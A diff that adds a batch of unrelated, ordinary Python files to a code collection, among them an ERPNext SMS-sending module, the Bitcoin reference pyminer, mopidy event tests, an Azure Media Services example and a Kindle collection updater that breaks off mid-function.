+	sender_name = frappe.db.get_single_value('SMS Settings', 'sms_sender_name') or \
+		'ERPNXT'
+	if len(sender_name) > 6 and \
+			frappe.db.get_default("country") == "India":
+		throw("""As per TRAI rule, sender name must be exactly 6 characters.
+			Kindly change sender name in Setup --> Global Defaults.
+			Note: Hyphen, space, numeric digit, special characters are not allowed.""")
+	return sender_name
+
+@frappe.whitelist()
+def get_contact_number(contact_name, value, key):
+	"returns mobile number of the contact"
+	number = frappe.db.sql("""select mobile_no, phone from tabContact where name=%s and %s=%s""" %
+		('%s', frappe.db.escape(key), '%s'), (contact_name, value))
+	return number and (number[0][0] or number[0][1]) or ''
+
+@frappe.whitelist()
+def send_sms(receiver_list, msg, sender_name = ''):
+
+	import json
+	if isinstance(receiver_list, basestring):
+		receiver_list = json.loads(receiver_list)
+		if not isinstance(receiver_list, list):
+			receiver_list = [receiver_list]
+
+	receiver_list = validate_receiver_nos(receiver_list)
+
+	arg = {
+		'receiver_list' : receiver_list,
+		'message'		: msg,
+		'sender_name'	: sender_name or get_sender_name()
+	}
+
+	if frappe.db.get_value('SMS Settings', None, 'sms_gateway_url'):
+		send_via_gateway(arg)
+	else:
+		msgprint(_("Please Update SMS Settings"))
+
+def send_via_gateway(arg):
+	ss = frappe.get_doc('SMS Settings', 'SMS Settings')
+	args = {ss.message_parameter: arg.get('message')}
+	for d in ss.get("parameters"):
+		args[d.parameter] = d.value
+
+	success_list = []
+	for d in arg.get('receiver_list'):
+		args[ss.receiver_parameter] = d
+		status = send_request(ss.sms_gateway_url, args)
+		if status >= 200 and status < 300:
+			success_list.append(d)
+
+	if len(success_list) > 0:
+		args.update(arg)
+		create_sms_log(args, success_list)
+		frappe.msgprint(_("SMS sent to following numbers: {0}").format("\n" + "\n".join(success_list)))
+
+
+def send_request(gateway_url, params):
+	import requests
+	response = requests.get(gateway_url, params = params, headers={'Accept': "text/plain, text/html, */*"})
+	response.raise_for_status()
+	return response.status_code
+
+
+# Create SMS Log
+# =========================================================
+def create_sms_log(args, sent_to):
+	sl = frappe.new_doc('SMS Log')
+	sl.sender_name = args['sender_name']
+	sl.sent_on = nowdate()
+	sl.message = args['message']
+	sl.no_of_requested_sms = len(args['receiver_list'])
+	sl.requested_numbers = "\n".join(args['receiver_list'])
+	sl.no_of_sent_sms = len(sent_to)
+	sl.sent_to = "\n".join(sent_to)
+	sl.flags.ignore_permissions = True
+	sl.save()
diff --git a/pool/shard000/Python/0007618_setup.py b/pool/shard000/Python/0007618_setup.py
new file mode 100644
index 0000000000000000000000000000000000000000..e7bf8e1d80131d733a11db73e1cf071702e8446c
--- /dev/null
+++ b/pool/shard000/Python/0007618_setup.py
@@ -0,0 +1,101 @@
+import platform
+import sys
+import os
+
+from setuptools import find_packages, setup
+
+
+def findRequirements():
+  """
+  Read the requirements.txt file and parse into requirements for setup's
+  install_requirements option.
+  """
+  return [
+    line.strip()
+    for line in open("requirements.txt").readlines()
+    if not line.startswith("#")
+    ]
+
+
+
+depLinks = []
+
+
+
+# If we wanted to use nupic
+# if "linux" in sys.platform and platform.linux_distribution()[0] == "CentOS":
+#  depLinks = [ "https://pypi.numenta.com/pypi/nupic",
+#               "https://pypi.numenta.com/pypi/nupic.bindings" ]
+
+
+def read(fname):
+  """
+  Utility function to read specified file.
+  """
+  path = os.path.join(os.path.dirname(__file__), fname)
+  return open(path).read()
+
+
+
+setup(name="cloudbrain",
+      version="0.2.1",
+      description="Platform for wearable data analytics.",
+      author="Marion Le Borgne",
+      url="https://github.com/marionleborgne/cloudbrain",
+      packages=find_packages(),
+      install_requires=findRequirements(),
+      include_package_data=True,
+      dependency_links=depLinks,
+      long_description=read("README.md"),
+      license='GNU Affero General Public License v3',
+      classifiers=[
+        'License :: OSI Approved :: GNU Affero General Public License v3'
+      ],
+      entry_points={
+        'console_scripts': [
+          'cloudbrain = cloudbrain.run:main'
+        ]
+      })
+
+
+# import os
+# from setuptools import setup, find_packages
+# from pip.req import parse_requirements
+# 
+# 
+# 
+# # parse_requirements() returns generator of pip.req.InstallRequirement objects
+# install_reqs = parse_requirements("requirements.txt")
+# 
+# # reqs is a list of requirement
+# # e.g. ['django==1.5.1', 'mezzanine==1.4.6']
+# reqs = [str(ir.req) for ir in install_reqs]
+# 
+# 
+# 
+# def read(fname):
+#   """
+#   Utility function to read specified file.
+#   """
+#   path = os.path.join(os.path.dirname(__file__), fname)
+#   return open(path).read()
+# 
+# 
+# 
+# setup(name="cloudbrain",
+#       version="0.2.1",
+#       description=("Platform for real-time sensor data analysis and 
+#                     visualization."),
+#       packages=find_packages(),
+#       install_requires=reqs,
+#       include_package_data=True,
+#       long_description=read("README.md"),
+#       license='GNU Affero General Public License v3',
+#       classifiers=[
+#           'License :: OSI Approved :: GNU Affero General Public License v3'
+#       ],
+#       entry_points = {
+#         'console_scripts': [
+#             'cloudbrain = cloudbrain.run:main'
+#         ]
+#       })
diff --git a/pool/shard000/Python/0007619_test_events.py b/pool/shard000/Python/0007619_test_events.py
new file mode 100644
index 0000000000000000000000000000000000000000..9a43908488d16f43043c054bd630eff12c593602
--- /dev/null
+++ b/pool/shard000/Python/0007619_test_events.py
@@ -0,0 +1,113 @@
+from __future__ import absolute_import, unicode_literals
+
+import unittest
+
+import mock
+
+import pykka
+
+from mopidy import core
+from mopidy.internal import deprecation
+from mopidy.models import Track
+
+from tests import dummy_backend
+
+
+@mock.patch.object(core.CoreListener, 'send')
+class BackendEventsTest(unittest.TestCase):
+
+    def setUp(self):  # noqa: N802
+        config = {
+            'core': {
+                'max_tracklist_length': 10000,
+            }
+        }
+
+        self.backend = dummy_backend.create_proxy()
+        self.backend.library.dummy_library = [
+            Track(uri='dummy:a'), Track(uri='dummy:b')]
+
+        with deprecation.ignore():
+            self.core = core.Core.start(
+                config, backends=[self.backend]).proxy()
+
+    def tearDown(self):  # noqa: N802
+        pykka.ActorRegistry.stop_all()
+
+    def test_forwards_backend_playlists_loaded_event_to_frontends(self, send):
+        self.core.playlists_loaded().get()
+
+        self.assertEqual(send.call_args[0][0], 'playlists_loaded')
+
+    def test_forwards_mixer_volume_changed_event_to_frontends(self, send):
+        self.core.volume_changed(volume=60).get()
+
+        self.assertEqual(send.call_args[0][0], 'volume_changed')
+        self.assertEqual(send.call_args[1]['volume'], 60)
+
+    def test_forwards_mixer_mute_changed_event_to_frontends(self, send):
+        self.core.mute_changed(mute=True).get()
+
+        self.assertEqual(send.call_args[0][0], 'mute_changed')
+        self.assertEqual(send.call_args[1]['mute'], True)
+
+    def test_tracklist_add_sends_tracklist_changed_event(self, send):
+        self.core.tracklist.add(uris=['dummy:a']).get()
+
+        self.assertEqual(send.call_args[0][0], 'tracklist_changed')
+
+    def test_tracklist_clear_sends_tracklist_changed_event(self, send):
+        self.core.tracklist.add(uris=['dummy:a']).get()
+
+        self.core.tracklist.clear().get()
+
+        self.assertEqual(send.call_args[0][0], 'tracklist_changed')
+
+    def test_tracklist_move_sends_tracklist_changed_event(self, send):
+        self.core.tracklist.add(uris=['dummy:a', 'dummy:b']).get()
+
+        self.core.tracklist.move(0, 1, 1).get()
+
+        self.assertEqual(send.call_args[0][0], 'tracklist_changed')
+
+    def test_tracklist_remove_sends_tracklist_changed_event(self, send):
+        self.core.tracklist.add(uris=['dummy:a']).get()
+
+        self.core.tracklist.remove({'uri': ['dummy:a']}).get()
+
+        self.assertEqual(send.call_args[0][0], 'tracklist_changed')
+
+    def test_tracklist_shuffle_sends_tracklist_changed_event(self, send):
+        self.core.tracklist.add(uris=['dummy:a', 'dummy:b']).get()
+
+        self.core.tracklist.shuffle().get()
+
+        self.assertEqual(send.call_args[0][0], 'tracklist_changed')
+
+    def test_playlists_refresh_sends_playlists_loaded_event(self, send):
+        self.core.playlists.refresh().get()
+
+        self.assertEqual(send.call_args[0][0], 'playlists_loaded')
+
+    def test_playlists_refresh_uri_sends_playlists_loaded_event(self, send):
+        self.core.playlists.refresh(uri_scheme='dummy').get()
+
+        self.assertEqual(send.call_args[0][0], 'playlists_loaded')
+
+    def test_playlists_create_sends_playlist_changed_event(self, send):
+        self.core.playlists.create('foo').get()
+
+        self.assertEqual(send.call_args[0][0], 'playlist_changed')
+
+    @unittest.SkipTest
+    def test_playlists_delete_sends_playlist_deleted_event(self, send):
+        # TODO We should probably add a playlist_deleted event
+        pass
+
+    def test_playlists_save_sends_playlist_changed_event(self, send):
+        playlist = self.core.playlists.create('foo').get()
+        playlist = playlist.replace(name='bar')
+
+        self.core.playlists.save(playlist).get()
+
+        self.assertEqual(send.call_args[0][0], 'playlist_changed')
diff --git a/pool/shard000/Python/0007621_ScreenBlocksTest.py b/pool/shard000/Python/0007621_ScreenBlocksTest.py
new file mode 100644
index 0000000000000000000000000000000000000000..dc4b7b28dbce7452e86e043e7ab60652b4874895
--- /dev/null
+++ b/pool/shard000/Python/0007621_ScreenBlocksTest.py
@@ -0,0 +1,48 @@
+from yandextank.plugins.ConsoleScreen import Screen, CurrentHTTPBlock, CurrentNetBlock
+from ConsoleOnlinePluginTest import FakeConsoleMarkup
+from TankTests import TankTestCase
+
+class BlocksTestCase(TankTestCase):
+    def test_HTTP(self):
+        screen = Screen(50, FakeConsoleMarkup())
+        block = CurrentHTTPBlock(screen)
+        block.render()
+        print block.lines
+        self.assertEquals('<w>HTTP for 0 RPS:  <rst>', block.lines[0].strip())
+        self.assertEquals(1, len(block.lines))
+    
+        data = self.get_aggregate_data('data/preproc_single.txt')
+        data.overall.planned_requests = 100
+        data.overall.http_codes = {'400': 10}
+        block.add_second(data)
+        block.render()
+        print block.lines
+        self.assertEquals(2, len(block.lines))
+
+        data.overall.http_codes = {'200': 4}
+        block.add_second(data)
+        block.render()
+        print block.lines
+        self.assertEquals(3, len(block.lines))
+
+    def test_Net(self):
+        screen = Screen(50, FakeConsoleMarkup())
+        block = CurrentNetBlock(screen)
+        block.render()
+        print block.lines
+        self.assertEquals('<w> NET for 0 RPS:  <rst>', block.lines[0].strip())
+        self.assertEquals(1, len(block.lines))
+    
+        data = self.get_aggregate_data('data/preproc_single.txt')
+        data.overall.planned_requests = 100
+        data.overall.net_codes = {'0': 10}
+        block.add_second(data)
+        block.render()
+        print block.lines
+        self.assertEquals(2, len(block.lines))
+
+        data.overall.net_codes = {'71': 4}
+        block.add_second(data)
+        block.render()
+        print block.lines
+        self.assertEquals(3, len(block.lines))
diff --git a/pool/shard000/Python/0007623_first.py b/pool/shard000/Python/0007623_first.py
new file mode 100644
index 0000000000000000000000000000000000000000..a5c8617044cf07f30ed5ba48800c5286b4bdaec8
--- /dev/null
+++ b/pool/shard000/Python/0007623_first.py
@@ -0,0 +1,25 @@
+#!/usr/bin/python
+
+balance = 0
+
+def deposit(amount):
+	global balance
+	balance = balance + amount
+	return balance
+
+def withdraw(amount):
+	global balance
+	balance = balance - amount
+	return balance
+
+# Ranjith
+print "my initial balance {}".format(balance)
+print " i am depositing 1000 rs to Ranjith"
+deposit(1000)
+print "my  balance after deposti{}".format(balance)
+print " i am with drawing 500 rs of Ranjith"
+withdraw(500)
+print "my balance {} after withdraw".format(balance)
+
+# Raj
+print "my initial balance {}".format(balance)
\ No newline at end of file
diff --git a/pool/shard000/Python/0007624_get_redirected_url.py b/pool/shard000/Python/0007624_get_redirected_url.py
new file mode 100644
index 0000000000000000000000000000000000000000..7bcc42a7988749d47725773fe8c30eadea371232
--- /dev/null
+++ b/pool/shard000/Python/0007624_get_redirected_url.py
@@ -0,0 +1,55 @@
+"""
+Copyright (c) 2016, Marcelo Leal
+Description: Simple Azure Media Services Python library
+License: MIT (see LICENSE.txt file for details)
+"""
+import os
+import json
+import azurerm
+import time
+#import pytz
+import logging
+import datetime
+
+###########################################################################################
+##### DISCLAIMER ##### ##### DISCLAIMER ##### ##### DISCLAIMER ##### ##### DISCLAIMER #####
+###########################################################################################
+
+# ALL CODE IN THIS DIRECTOY (INCLUDING THIS FILE) ARE EXAMPLE CODES THAT  WILL  ACT ON YOUR
+# AMS ACCOUNT.  IT ASSUMES THAT THE AMS ACCOUNT IS CLEAN (e.g.: BRAND NEW), WITH NO DATA OR
+# PRODUCTION CODE ON IT.  DO NOT, AGAIN: DO NOT RUN ANY EXAMPLE CODE AGAINST PRODUCTION AMS
+# ACCOUNT!  IF YOU RUN ANY EXAMPLE CODE AGAINST YOUR PRODUCTION  AMS ACCOUNT,  YOU CAN LOSE
+# DATA, AND/OR PUT YOUR AMS SERVICES IN A DEGRADED OR UNAVAILABLE STATE. BE WARNED!
+
+###########################################################################################
+##### DISCLAIMER ##### ##### DISCLAIMER ##### ##### DISCLAIMER ##### ##### DISCLAIMER #####
+###########################################################################################
+
+# Load Azure app defaults
+try:
+	with open('config.json') as configFile:
+		configData = json.load(configFile)
+except FileNotFoundError:
+	print("ERROR: Expecting config.json in current folder")
+	sys.exit()
+
+account_name = configData['accountName']
+account_key = configData['accountKey']
+
+# Get the access token...
+response = azurerm.get_ams_access_token(account_name, account_key)
+resjson = response.json()
+access_token = resjson["access_token"]
+
+#Initialization...
+print ("\n-----------------------= AMS Py =----------------------");
+print ("Simple Python Library for Azure Media Services REST API");
+print ("-------------------------------------------------------\n");
+
+### get ams redirected url
+response = azurerm.get_url(access_token)
+if (response.status_code == 200):
+	print("New Redirected URL: " + str(response.url))
+else:
+	print("GET Status: " + str(response.status_code) + " - Getting Redirected URL ERROR." + str(response.content))
+
diff --git a/pool/shard000/Python/0007625_pyminer.py b/pool/shard000/Python/0007625_pyminer.py
new file mode 100644
index 0000000000000000000000000000000000000000..80a6cc434c8b2ba191aaae55e6e2f8d7f4f3088c
--- /dev/null
+++ b/pool/shard000/Python/0007625_pyminer.py
@@ -0,0 +1,252 @@
+#!/usr/bin/python
+#
+# Copyright (c) 2011 The Bitcoin developers
+# Distributed under the MIT/X11 software license, see the accompanying
+# file COPYING or http://www.opensource.org/licenses/mit-license.php.
+#
+
+import time
+import json
+import pprint
+import hashlib
+import struct
+import re
+import base64
+import httplib
+import sys
+from multiprocessing import Process
+
+ERR_SLEEP = 15
+MAX_NONCE = 1000000L
+
+settings = {}
+pp = pprint.PrettyPrinter(indent=4)
+
+class BitcoinRPC:
+	OBJID = 1
+
+	def __init__(self, host, port, username, password):
+		authpair = "%s:%s" % (username, password)
+		self.authhdr = "Basic %s" % (base64.b64encode(authpair))
+		self.conn = httplib.HTTPConnection(host, port, False, 30)
+	def rpc(self, method, params=None):
+		self.OBJID += 1
+		obj = { 'version' : '1.1',
+			'method' : method,
+			'id' : self.OBJID }
+		if params is None:
+			obj['params'] = []
+		else:
+			obj['params'] = params
+		self.conn.request('POST', '/', json.dumps(obj),
+			{ 'Authorization' : self.authhdr,
+			  'Content-type' : 'application/json' })
+
+		resp = self.conn.getresponse()
+		if resp is None:
+			print "JSON-RPC: no response"
+			return None
+
+		body = resp.read()
+		resp_obj = json.loads(body)
+		if resp_obj is None:
+			print "JSON-RPC: cannot JSON-decode body"
+			return None
+		if 'error' in resp_obj and resp_obj['error'] != None:
+			return resp_obj['error']
+		if 'result' not in resp_obj:
+			print "JSON-RPC: no result in object"
+			return None
+
+		return resp_obj['result']
+	def getblockcount(self):
+		return self.rpc('getblockcount')
+	def getwork(self, data=None):
+		return self.rpc('getwork', data)
+
+def uint32(x):
+	return x & 0xffffffffL
+
+def bytereverse(x):
+	return uint32(( ((x) << 24) | (((x) << 8) & 0x00ff0000) |
+			(((x) >> 8) & 0x0000ff00) | ((x) >> 24) ))
+
+def bufreverse(in_buf):
+	out_words = []
+	for i in range(0, len(in_buf), 4):
+		word = struct.unpack('@I', in_buf[i:i+4])[0]
+		out_words.append(struct.pack('@I', bytereverse(word)))
+	return ''.join(out_words)
+
+def wordreverse(in_buf):
+	out_words = []
+	for i in range(0, len(in_buf), 4):
+		out_words.append(in_buf[i:i+4])
+	out_words.reverse()
+	return ''.join(out_words)
+
+class Miner:
+	def __init__(self, id):
+		self.id = id
+		self.max_nonce = MAX_NONCE
+
+	def work(self, datastr, targetstr):
+		# decode work data hex string to binary
+		static_data = datastr.decode('hex')
+		static_data = bufreverse(static_data)
+
+		# the first 76b of 80b do not change
+		blk_hdr = static_data[:76]
+
+		# decode 256-bit target value
+		targetbin = targetstr.decode('hex')
+		targetbin = targetbin[::-1]	# byte-swap and dword-swap
+		targetbin_str = targetbin.encode('hex')
+		target = long(targetbin_str, 16)
+
+		# pre-hash first 76b of block header
+		static_hash = hashlib.sha256()
+		static_hash.update(blk_hdr)
+
+		for nonce in xrange(self.max_nonce):
+
+			# encode 32-bit nonce value
+			nonce_bin = struct.pack("<I", nonce)
+
+			# hash final 4b, the nonce value
+			hash1_o = static_hash.copy()
+			hash1_o.update(nonce_bin)
+			hash1 = hash1_o.digest()
+
+			# sha256 hash of sha256 hash
+			hash_o = hashlib.sha256()
+			hash_o.update(hash1)
+			hash = hash_o.digest()
+
+			# quick test for winning solution: high 32 bits zero?
+			if hash[-4:] != '\0\0\0\0':
+				continue
+
+			# convert binary hash to 256-bit Python long
+			hash = bufreverse(hash)
+			hash = wordreverse(hash)
+
+			hash_str = hash.encode('hex')
+			l = long(hash_str, 16)
+
+			# proof-of-work test:  hash < target
+			if l < target:
+				print time.asctime(), "PROOF-OF-WORK found: %064x" % (l,)
+				return (nonce + 1, nonce_bin)
+			else:
+				print time.asctime(), "PROOF-OF-WORK false positive %064x" % (l,)
+#				return (nonce + 1, nonce_bin)
+
+		return (nonce + 1, None)
+
+	def submit_work(self, rpc, original_data, nonce_bin):
+		nonce_bin = bufreverse(nonce_bin)
+		nonce = nonce_bin.encode('hex')
+		solution = original_data[:152] + nonce + original_data[160:256]
+		param_arr = [ solution ]
+		result = rpc.getwork(param_arr)
+		print time.asctime(), "--> Upstream RPC result:", result
+
+	def iterate(self, rpc):
+		work = rpc.getwork()
+		if work is None:
+			time.sleep(ERR_SLEEP)
+			return
+		if 'data' not in work or 'target' not in work:
+			time.sleep(ERR_SLEEP)
+			return
+
+		time_start = time.time()
+
+		(hashes_done, nonce_bin) = self.work(work['data'],
+						     work['target'])
+
+		time_end = time.time()
+		time_diff = time_end - time_start
+
+		self.max_nonce = long(
+			(hashes_done * settings['scantime']) / time_diff)
+		if self.max_nonce > 0xfffffffaL:
+			self.max_nonce = 0xfffffffaL
+
+		if settings['hashmeter']:
+			print "HashMeter(%d): %d hashes, %.2f Khash/sec" % (
+			      self.id, hashes_done,
+			      (hashes_done / 1000.0) / time_diff)
+
+		if nonce_bin is not None:
+			self.submit_work(rpc, work['data'], nonce_bin)
+
+	def loop(self):
+		rpc = BitcoinRPC(settings['host'], settings['port'],
+				 settings['rpcuser'], settings['rpcpass'])
+		if rpc is None:
+			return
+
+		while True:
+			self.iterate(rpc)
+
+def miner_thread(id):
+	miner = Miner(id)
+	miner.loop()
+
+if __name__ == '__main__':
+	if len(sys.argv) != 2:
+		print "Usage: pyminer.py CONFIG-FILE"
+		sys.exit(1)
+
+	f = open(sys.argv[1])
+	for line in f:
+		# skip comment lines
+		m = re.search('^\s*#', line)
+		if m:
+			continue
+
+		# parse key=value lines
+		m = re.search('^(\w+)\s*=\s*(\S.*)$', line)
+		if m is None:
+			continue
+		settings[m.group(1)] = m.group(2)
+	f.close()
+
+	if 'host' not in settings:
+		settings['host'] = '127.0.0.1'
+	if 'port' not in settings:
+		settings['port'] = 4869
+	if 'threads' not in settings:
+		settings['threads'] = 1
+	if 'hashmeter' not in settings:
+		settings['hashmeter'] = 0
+	if 'scantime' not in settings:
+		settings['scantime'] = 30L
+	if 'rpcuser' not in settings or 'rpcpass' not in settings:
+		print "Missing username and/or password in cfg file"
+		sys.exit(1)
+
+	settings['port'] = int(settings['port'])
+	settings['threads'] = int(settings['threads'])
+	settings['hashmeter'] = int(settings['hashmeter'])
+	settings['scantime'] = long(settings['scantime'])
+
+	thr_list = []
+	for thr_id in range(settings['threads']):
+		p = Process(target=miner_thread, args=(thr_id,))
+		p.start()
+		thr_list.append(p)
+		time.sleep(1)			# stagger threads
+
+	print settings['threads'], "mining threads started"
+
+	print time.asctime(), "Miner Starts - %s:%s" % (settings['host'], settings['port'])
+	try:
+		for thr_proc in thr_list:
+			thr_proc.join()
+	except KeyboardInterrupt:
+		pass
+	print time.asctime(), "Miner Stops - %s:%s" % (settings['host'], settings['port'])
+
diff --git a/pool/shard000/Python/0007628_config.py b/pool/shard000/Python/0007628_config.py
new file mode 100644
index 0000000000000000000000000000000000000000..c9cecd61bd06961a68612cc71764790e909899e8
--- /dev/null
+++ b/pool/shard000/Python/0007628_config.py
@@ -0,0 +1,55 @@
+# vim: tabstop=4 shiftwidth=4 softtabstop=4
+#
+# Copyright 2012, Nachi Ueno, NTT MCL, Inc.
+# All Rights Reserved.
+#
+#    Licensed under the Apache License, Version 2.0 (the "License"); you may
+#    not use this file except in compliance with the License. You may obtain
+#    a copy of the License at
+#
+#         http://www.apache.org/licenses/LICENSE-2.0
+#
+#    Unless required by applicable law or agreed to in writing, software
+#    distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+#    WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+#    License for the specific language governing permissions and limitations
+#    under the License.
+
+from oslo.config import cfg
+
+
+meta_plugin_opts = [
+    cfg.StrOpt('plugin_list', default='',
+               help=_("List of plugins to load")),
+    cfg.StrOpt('l3_plugin_list', default='',
+               help=_("List of L3 plugins to load")),
+    cfg.StrOpt('default_flavor', default='',
+               help=_("Default flavor to use")),
+    cfg.StrOpt('default_l3_flavor', default='',
+               help=_("Default L3 flavor to use")),
+    cfg.StrOpt('supported_extension_aliases', default='',
+               help=_("Supported extension aliases")),
+    cfg.StrOpt('extension_map', default='',
+               help=_("A list of extensions, per plugin, to load.")),
+    cfg.StrOpt('rpc_flavor', default='',
+               help=_("Flavor of which plugin handles RPC")),
+]
+
+proxy_plugin_opts = [
+    cfg.StrOpt('admin_user',
+               help=_("Admin user")),
+    cfg.StrOpt('admin_password',
+               help=_("Admin password"),
+               secret=True),
+    cfg.StrOpt('admin_tenant_name',
+               help=_("Admin tenant name")),
+    cfg.StrOpt('auth_url',
+               help=_("Authentication URL")),
+    cfg.StrOpt('auth_strategy', default='keystone',
+               help=_("The type of authentication to use")),
+    cfg.StrOpt('auth_region',
+               help=_("Authentication region")),
+]
+
+cfg.CONF.register_opts(meta_plugin_opts, "META")
+cfg.CONF.register_opts(proxy_plugin_opts, "PROXY")
diff --git a/pool/shard000/Python/0007631_bluedump.py b/pool/shard000/Python/0007631_bluedump.py
new file mode 100644
index 0000000000000000000000000000000000000000..567aab17d8a1cc2ba3948155e3de736e1c0a6266
--- /dev/null
+++ b/pool/shard000/Python/0007631_bluedump.py
@@ -0,0 +1,39 @@
+#!/usr/bin/python
+# file: inquiry.py
+# auth: Albert Huang <albert@csail.mit.edu>
+# desc: performs a simple device inquiry followed by a remote name request of
+#       each discovered device
+# $Id: inquiry.py 401 2006-05-05 19:07:48Z albert $
+#
+
+import bluetooth
+import sqlite3
+import sys
+from pprint import pprint,pformat
+
+print "Setup database connection"
+conn = sqlite3.connect('bluematter.db')
+print "Opened database successfully";
+
+print "Check if table 'people' exists."
+cursor=conn.execute("SELECT name FROM sqlite_master WHERE type='table' AND name='people';")
+tableFound=False
+for row in cursor:
+  if row[0] == 'people':
+    tableFound=True
+    print "Table 'people' already exists. Good."
+    break
+
+#
+if tableFound == False:
+  print "Table 'people' was not found. Exiting."
+  sys.exit(1)
+
+cursor=conn.execute("select * from people ")
+data=cursor.fetchall()
+if len(data)==0:
+  print("There is no data in table 'people'.")
+else:
+  pprint(data)
+
+conn.close()
diff --git a/pool/shard000/Python/0007632_getpathart.py b/pool/shard000/Python/0007632_getpathart.py
new file mode 100644
index 0000000000000000000000000000000000000000..eb8fc4581fa56f58a55b8094b346124764d9a118
--- /dev/null
+++ b/pool/shard000/Python/0007632_getpathart.py
@@ -0,0 +1,120 @@
+#!/usr/bin/python3
+
+import os
+import cgi
+import json
+import subprocess
+import sqlite3 as lite
+
+class GetPathArt():
+	def __init__(self):
+		db_loc      = "/usr/share/ampyche/db/ampyche.db"
+		self.db_loc = db_loc
+		settings_db = "/usr/share/ampyche/db/settings.db"
+		self.settings_db = settings_db
+
+	def _get_webpath(self):
+		wlan0 = subprocess.getoutput('/sbin/ifconfig wlan0')
+		error = "wlan0: error fetching interface information: Device not found"
+		if wlan0 == error:
+			ipa = subprocess.getoutput('/sbin/ifconfig').split('\n')[1].split()[1][5:]
+			return ipa
+		else:
+			ipa = subprocess.getoutput('/sbin/ifconfig').split('\n')[17].split()[1][5:]
+			return ipa
+
+	def _create_path(self, fn):
+		con = lite.connect(self.settings_db)
+		cur = con.cursor()
+		cur.execute("SELECT catname, hostaddress FROM settings")
+		q = cur.fetchall()
+		con.close()
+		boo = "/usr/share/ampyche/music/" + q[0][0]
+		base = q[0][1] + "/music/" + q[0][0]
+		fn = fn[len(boo):]
+		fn = base + fn
+		fntmp = q[0][1] + "/music/tmp/" + fn[35:]
+		fsfntmp = "/usr/share/ampyche/music/tmp/" + fn[35:]
+		return fn, fntmp, fsfntmp
+		
+	def _get_path_pic_for_song(self, sname, cpogg, cpmp3):
+		con = lite.connect(self.db_loc)
+		cur = con.cursor()
+		cur.execute("SELECT filename, album_art, fileid, song FROM ampyche WHERE song=?", [sname])
+		song = cur.fetchall()
+		gg = []
+		for s in song:
+			fn = s[0]
+			fnl = fn.lower()
+			ext = fnl[-3:]
+			y = {}
+			y['songname'] = s[3]
+			albumart = s[1]
+			albumart = albumart[10:]
+			z = self._get_webpath()
+			z = "http://" + z
+			albumart1 = z + albumart
+			y['albumart'] = albumart1
+			y['fileid'] = s[2]
+			if ext == "mp3":
+				#Browser supports mp3 playback so play the song
+				if cpmp3 == "true" and cpogg == 'true':
+					filename = self._create_path(fn)
+					y['filename'] = filename[0]
+					gg.append(y)
+				elif cpmp3 == "true" and cpogg == 'false':
+					filename = self._create_path(fn)
+					y['filename'] = filename[0]
+					gg.append(y)
+				elif cpmp3 == "false" and cpogg == 'true':
+					filename = self._create_path(fn)
+					filename1 = filename[1]
+					webpath = filename1[:-3] + "ogg"
+					convpath = filename[2][:-3] + "ogg"
+					dirmp3 = os.path.dirname(filename[2])
+					if not os.path.exists(dirmp3):
+						os.makedirs(dirmp3)
+					subprocess.call(['avconv', '-i', fn, '-ab', '128k', '-acodec', 'libvorbis', convpath])
+					y['filename'] = webpath
+					gg.append(y)
+				else:
+					pass
+			elif ext == "ogg":
+				if cpmp3 == 'true' and cpogg == "true":
+					filename = self._create_path(fn)
+					y['filename'] = filename[0]
+					gg.append(y)
+				elif cpmp3 == 'false' and cpogg == "true":
+					filename = self._create_path(fn)
+					y['filename'] = filename[0]
+					gg.append(y)
+				elif cpmp3 == 'true' and cpogg == "false":
+					filename = self._create_path(fn)
+					filename = filename[1]
+					filenamemp3 = filename[:-3] + "mp3"
+					dirogg = os.path.dirname(filename[2])
+					if not os.path.exists(dirogg):
+						os.makedirs(dirogg)
+					#subprocess.call(['avconv', '-i', fn, '-ab', '128k', filenamemp3])
+					y['filename'] = filenamemp3
+					gg.append(y)
+				else:
+					pass
+			else:
+				pass
+		print(json.dumps(gg, sort_keys=True, indent=4))
+				
+	
+print("Content-Type: application/json\n\n")
+s = cgi.FieldStorage()
+
+#sn = "Brown Eyes"
+#fsogg = "true"
+#fsmp3 = "false"
+
+
+sn = s.getvalue("songname")
+fsogg = s.getvalue('canplayogg')
+fsmp3 = s.getvalue('canplaymp3')
+GPA = GetPathArt()
+run = GPA._get_path_pic_for_song(sn, fsogg, fsmp3)
\ No newline at end of file
diff --git a/pool/shard000/Python/0007635_update_collection.py b/pool/shard000/Python/0007635_update_collection.py
new file mode 100644
index 0000000000000000000000000000000000000000..ebe6c82e5287b3066850e30748006a7ae4afc84e
--- /dev/null
+++ b/pool/shard000/Python/0007635_update_collection.py
@@ -0,0 +1,117 @@
+#!/usr/bin/env python
+#Last-modified: 14 Jan 2013 02:04:05 PM
+import json
+import os.path
+import hashlib
+
+
+HASH_PREFIX = "/mnt/us/documents/"
+ALLOWED_EXTENSIONS = ["pdf", "mobi", "azw", "txt", "prc"]
+
+class Collection(object):
+    def __init__(self, root="/media/Kindle/"):
+        """ Initialize the Collection class, load the existing class.
+        """
+        self.root = root
+        # load the current collections
+        self.load()
+
+    def load(self):
+        """ load existing collection json file.
+        """
+        fcln = os.path.join(self.root, "system", "collections.json")
+        f    = file(fcln, "r")
+        # json file
+        self.cln = json.load(f)
+        # all the collection names
+        self.cnames = self.cln.keys()
+        f.close()
+
+    def update(self, c, new_hal, fname):
+        """ update collection and new_hal to the database.
+        """
+        _c = " ".join([c, "-@en-US"]) 
+        if _c in self.cnames :
+            if new_hal in self.cln[_c]["items"] or "*"+new_hal in self.cln[_c]["items"] :
+                pass
+            else :
+                print("file %s does not exist in %s..."%(fname, _c))
+                print("append file %s to %s..."%(fname, _c))
+                self.cln[_c]["items"].append("*%s" % new_hal)
+        else :
+            print("collection %s does not exist, create..."%_c)
+            print("append file %s to %s..."%(fname, _c))
+            new_collection = {"items":[]}
+            new_collection["items"].append("*%s" % new_hal)
+            self.cln[_c] = new_collection
+            self.cnames  = self.cln.keys()
+
+    def forage(self, folder="Incoming"):
+        """ detect new files and merge them into data base.
+        """
+        if folder.startswith("/") :
+            raise RuntimeError("folder needs to be a dir relative to <documents>")
+        elif len(folder) == 0 :
+            isnode = True
+            path = os.path.join(self.root, "documents")
+        else :
+            isnode = False
+            path = os.path.join(self.root, "documents", folder)
+        if not os.path.isdir(path) :
+            print("folder %s does not exist, exit..." % folder)
+        else  :
+            print("foraging directory : %s" % folder)
+        if isnode :
+            current_collection = None
+            print("at root node")
+        else :
+            current_collection = folder.replace("/", " - ")
+            print("Current collection name : %s" % current_collection)
+        # Go through all the files in this directory
